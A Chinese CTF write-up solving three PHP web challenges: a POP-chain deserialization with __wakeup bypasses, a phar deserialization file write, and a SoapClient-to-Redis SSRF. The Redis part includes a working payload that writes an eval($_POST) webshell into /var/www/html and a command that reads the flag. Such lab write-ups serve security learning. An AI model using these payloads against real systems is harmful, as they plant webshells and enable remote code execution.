DASctf x GFctf 十月挑战赛 wp

DASctf x GFctf 十月挑战赛 wp

那几天在补作业和打数据安全比赛,拖了有点久,确实要反思一下自己了

ezpop

链子很好想

sorry:__destruct->show:__toString->secret_code::call->secret_code::show->sorry::__get->fine:: __invoke

但是要是这样写就不对了

$fine = new fine("var_dump", "hack!");

$secret_code = new secret_code($fine);

$show = new show($secret_code);

$sorry = new sorry("thai","thai");
$sorry->hint = $show;

因为$sorry执行destruct的时候必须是$sorry没有被使用的情况,那就是 $a->setPassword(md5(mt_rand()));执行以后

 $a = unserialize($_GET['pop']);
 $a->setPassword(md5(mt_rand()));

所以如何让二者值相等,这里使用引用的方法绕过

    public function __construct($password)
    {
    $this->name = &$password;
    $this->password = $password;
    }

    ...

    $sorry = new sorry("thai");

poc

<?php
class fine
{
    private $cmd;
    private $content;
    public function __construct($cmd, $content)
    {
    $this->cmd = $cmd;
    $this->content = $content;
    }

}

class show
{
    public $ctf;
    public $time = "Two and a half years";
    public function __construct($ctf)
    {
    $this->ctf = $ctf;
    }
}

class sorry
{
    private $name;
    private $password;
    public $hint = "hint is depend on you";
    public $key;
    public function __construct($password)
    {
    $this->name = &$this->password;
    $this->password = $password;
    }
}

class secret_code
{
    protected $code;
    public function __construct($name)
    {
    $this->code = $name;
    }
}

//sorry:__destruct->show:__toString->secret_code::call->secret_code::show->sorry::__get->fine:: __invoke

$fine = new fine("var_dump", "hack!");

$sorry1 = new sorry("123");
$sorry1 -> key = $fine;

$secret_code = new secret_code($sorry1);

$show = new show($secret_code);

$sorry = new sorry("thai");
$sorry->hint = $show;

echo urlencode(serialize($sorry));

随后用我讲过的绕过wakup的总结,(fast-destruct)

可以用的方法很多,

  • 删除最后一个}
  • 改sorry属性数量
  • 改fire属性数量

但是注意由于finecontent含有payload。所以不可以删除最里面类的分号

这里怎么删都不会执行wakup,可能是因为public $hint = "hint is depend on you";

BlogSystem

简析出思路

任意文件读取拿到源码

这题的关键是只要知道这个

image-20221031230708169

相当于cat ../* ,这样可以看到内容

根据题目,我们需要写一个cat 到upload目录,然后backdoor那里 / 就可以枚举根目录的文件内容了

看了下既然限制传输文件后缀,那就考虑Phar

public function __toString(){
        $file = substr($_GET['file'],0,3);
        file_put_contents($file, "Hack by $file !");
        return 'Unreachable! :)';
    }

这里?file=cat就可以写文件

但是需要触发tostring

注意到user的

public function __destruct(){
        if ($this->username == '') {
            session_destroy();
        }
    }

$this->username == ''就行字符串比较时会调用toString的

由于是destruct触发,所以还是老套路fast-destruct,删掉大括号就好

但是这里删大括号的话要计算数字签名,用引用绕过也可以

操作含细节

注意到:

如果是写入cat文件的话,User的wakup的下面这里

if ($cklen != 0 and $cklen <= 6) {
            $this->username = $_SESSION["username"];
        }

会有影响,而Test的wakup执行与否并不会影响

if ($cklen != 0 and $cklen <= 6)

这个不成立的条件很多,最容易想到的是弄一个超过6字符的username,只需要绕过前端就可以创建这个username

它题目的环境有点问题,我自己本地搭了一个

<?php
class User
{
    public $username;
}

#更新了一个恶意又有趣的Test类
class Test
{
    public $value;

}

$test = new Test();
$user = new User();
$user -> username = $test;

echo serialize($user);

@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering(); 
$phar->setStub('GIF89a'."__HALT_COMPILER();"); 
$phar->setMetadata($test); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

随后改png后上传

之后访问

http://127.0.0.1/file.php?m=show&file=cat&filename=phar://upload/dasctfaee3e511071a93809c610d61428822f7.png

成功

image-20221102145933147

之后要 /

有几种思路

引用绕过wakup

如果用前面的payload,本地把wakup输出,会发现顺序是这样

image-20221102150559035

User包含着Test的话,wakup顺序是先Test后User

为了实现Test的value可控,注意到User 的wakup会改变username的值,这个是可控的

如果能把Test的value绑定到User的username上,就可以再赋值一次,相当于可控了

很容易想到引用,Test->value = &User -> username

但是如果直接

$test = new Test();
$user = new User();

$test -> value = &$user -> username;
echo serialize($test);

那么wakup的顺序就改变了,变成先User后Test,就没啥意义 (而且注意到反序列化出来的$test -> value直接是N,而不是R)

所以还是要保持原来的顺序,我们无中生有一个参数就行

 $test = new Test();
 $user = new User();
 $user -> a = $test;

 $test -> value = &$user -> username;
 echo serialize($user);

总之记住无中生有和保持顺序

所以做法是:再注册一个用户为 /,上传文件,访问

EasyLove

<?php
$target='http://127.0.0.1:6379/';
$poc0="AUTH 20220311";
$poc="CONFIG SET dir /var/www/html";
$poc1="SET x '<?@eval(\$_POST[1]);?>'";
$poc2="CONFIG SET dbfilename cmd.php";
$poc3="SAVE";
$a = array('location' => $target,'uri' =>
'hello^^'.$poc0.'^^'.$poc.'^^'.$poc1.'^^'.$poc2.'^^'.$poc3.'^^hello');
$aaa = serialize($a);
$aaa = str_replace('^^',"\r\n",$aaa);
$c=unserialize($aaa);
class swpu{
 public $wllm = 'SoapClient';
 public $arsenetang = null;
 public $l61q4cheng;
 public $love;
}
$a=new swpu();
$a->l61q4cheng=$c;
echo urlencode(serialize($a));
?>

之后

image-20221102174618113

1=system('date -f /hereisflag/flllll111aaagg 2>1.txt');

访问1.txt就行

这里考察的是低版本redis可以把请求头的命令直接执行

本来的想法是自己伪造redis可用的post体,类似于下面这种

*1
$8
flushall
*3
$3
set
$1
1
$33

<?php eval($_POST["thai"]);?>

*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
5he1l.php
*1
$4
save
*1
$4
quit

然后用soupClient发post包,但可想而知这个脚本得有多难写了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇